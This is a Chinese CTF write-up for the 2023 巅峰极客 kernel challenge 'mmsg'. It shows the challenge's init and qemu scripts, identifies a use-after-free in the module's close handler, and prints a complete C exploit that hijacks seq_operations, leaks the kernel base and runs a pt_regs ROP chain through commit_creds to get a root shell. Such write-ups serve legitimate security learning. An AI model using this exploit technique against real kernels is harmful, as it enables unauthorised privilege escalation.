巅峰极客2023 mmsg

题目分析

不同于往常,题目是ext4镜像,所以只需要挂载,同时切换为root,就可以对镜像内容进行增减

1
2
3
4
5
mkdri core
#挂载
sudo mount -o loop ./core.img ./core
#取消挂载
sudo umount ./core

推荐在挂载的文件夹外写脚本,然后复制进去,权限切换比较麻烦

1
sudo cp -p ./exp ./core

切换用户后,进入内核,先找下初始化脚本,目录是/etc/init.d/rcS
mmsg模块载入到root目录下,如果嫌弃每次启动之后切换目录麻烦的话,就删去下面的22行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/sh
chown -R root:root /
chmod 700 /root
chown -R ctf:ctf /home/ctf
chown root:root /root/flag
chmod 600 /root/flag

mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

insmod /root/mmsg.ko
chmod 666 /dev/mmsg

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"

cd /home/ctf
# setsid cttyhack su ctf -c /bin/sh
setsid cttyhack setuidgid 1000 /bin/sh

poweroff -d 0 -f

查看下启动脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
qemu-system-x86_64 \
-m 256M \
-cpu qemu64,+smep,+smap \
-smp cores=1 \
-kernel bzImage \
-hda core.img \
-nographic \
-monitor none \
-snapshot \
-append "console=ttyS0 root=/dev/sda rw rdinit=/sbin/init kaslr quiet oops=panic panic=1" \
-no-reboot \
-s

一些地方经行了修改

因为wsl没kvm模块,所以原本的host改为qemu64,同时删去enable-kvm
开启的保护是 smep smap kaslr
题目给了源码,漏洞显而易见(非预期解法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 mmsg_module_init()
{
__int64 v0; // rax

mmsg_device = 255;
qword_C88 = (__int64)"mmsg";
qword_C90 = (__int64)&module_fops;
misc_register(&mmsg_device);
v0 = kmem_cache_alloc_trace(kmalloc_caches[5], 06300LL, 32LL);
mmsg_head = v0;
strcpy((char *)v0, "mmsg-mmsg_head");
*(_QWORD *)(v0 + 16) = v0 + 16;
*(_QWORD *)(v0 + 24) = v0 + 16;
printk(&unk_543);
return 0LL;
}

__int64 module_close()
{
kfree(mmsg_head);
return 0LL;
}

关闭设备时没有清空,存在uaf,uaf的对象为kmalloc-32,不难想到使用seq_operation进行利用
思路:劫持 seq_operation –> leak kernel offset –> 劫持rip –> pt_reg写rop –> root
交互所需要的结构体

1
2
3
4
5
6
struct mmsg_arg {
unsigned long token;
int top;
int size;
char *data;
};

漏洞利用时涉及到的功能

1
2
3
4
5
6
7
8
case MMSG_PUT_DESC: 
copy_from_user(&mmsg_head->description, (void __user *)arg.data,
MMSG_DESC_LEN);
break;
case MMSG_GET_DESC:
copy_to_user((void __user *)arg.data, &mmsg_head->description,
MMSG_DESC_LEN);
ret = -EFAULT;

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <stddef.h>
// gcc exp.c -static -masm=intel -g -o exp
#define MMSG_ALLOC 0x1111111
#define MMSG_COPY 0x2222222
#define MMSG_RECV 0x3333333
#define MMSG_UPDATE 0x4444444
#define MMSG_PUT_DESC 0x5555555
#define MMSG_GET_DESC 0x6666666

size_t single_start = 0xffffffff8120fac0;
size_t add_rsp_0x168_jmp = 0xffffffff81909b8c;
size_t kernel_offset = 0;

size_t pop_rdi_ret = 0xffffffff811aa376;
size_t init_cred = 0xffffffff8264c9a0;
size_t commit_creds = 0xffffffff8108d350;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81C00E30;

struct mmsg_arg {
unsigned long token;
int top;
int size;
char *data;
};

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
user_sp &= ~0xf;
puts("[*]status has been saved.");
}

void debug(){
printf("[*]DEBUG....\n");
getchar();
}


int seq_fd;
void pwn(){
int fd = open("/dev/mmsg",2);
int uaf_fd = open("/dev/mmsg",2);

close(uaf_fd);

seq_fd = open("/proc/self/stat",0);
struct mmsg_arg arg;
size_t buf[0x20] = {0};
arg.data = buf;
ioctl(fd,MMSG_GET_DESC,&arg);

kernel_offset = buf[0] - single_start;
add_rsp_0x168_jmp += kernel_offset;
pop_rdi_ret += kernel_offset;
init_cred += kernel_offset;
commit_creds += kernel_offset;
swapgs_restore_regs_and_return_to_usermode += (kernel_offset + 0x24);

buf[0] = (size_t)add_rsp_0x168_jmp;

ioctl(fd,MMSG_PUT_DESC,&arg);

__asm__(
"mov r15, 0xbeefdead;"
"mov r14, pop_rdi_ret;"
"mov r13, init_cred;"
"mov r12, commit_creds;"
"mov rbp, swapgs_restore_regs_and_return_to_usermode;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, 0x88888888;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);
system("/bin/sh");
}

int main(){
save_status();
pwn();
return 0;
}

提权成功


巅峰极客2023 mmsg
http://example.com/2024/08/12/2023巅峰极客mmsg/
作者
flyyy
发布于
2024年8月12日
许可协议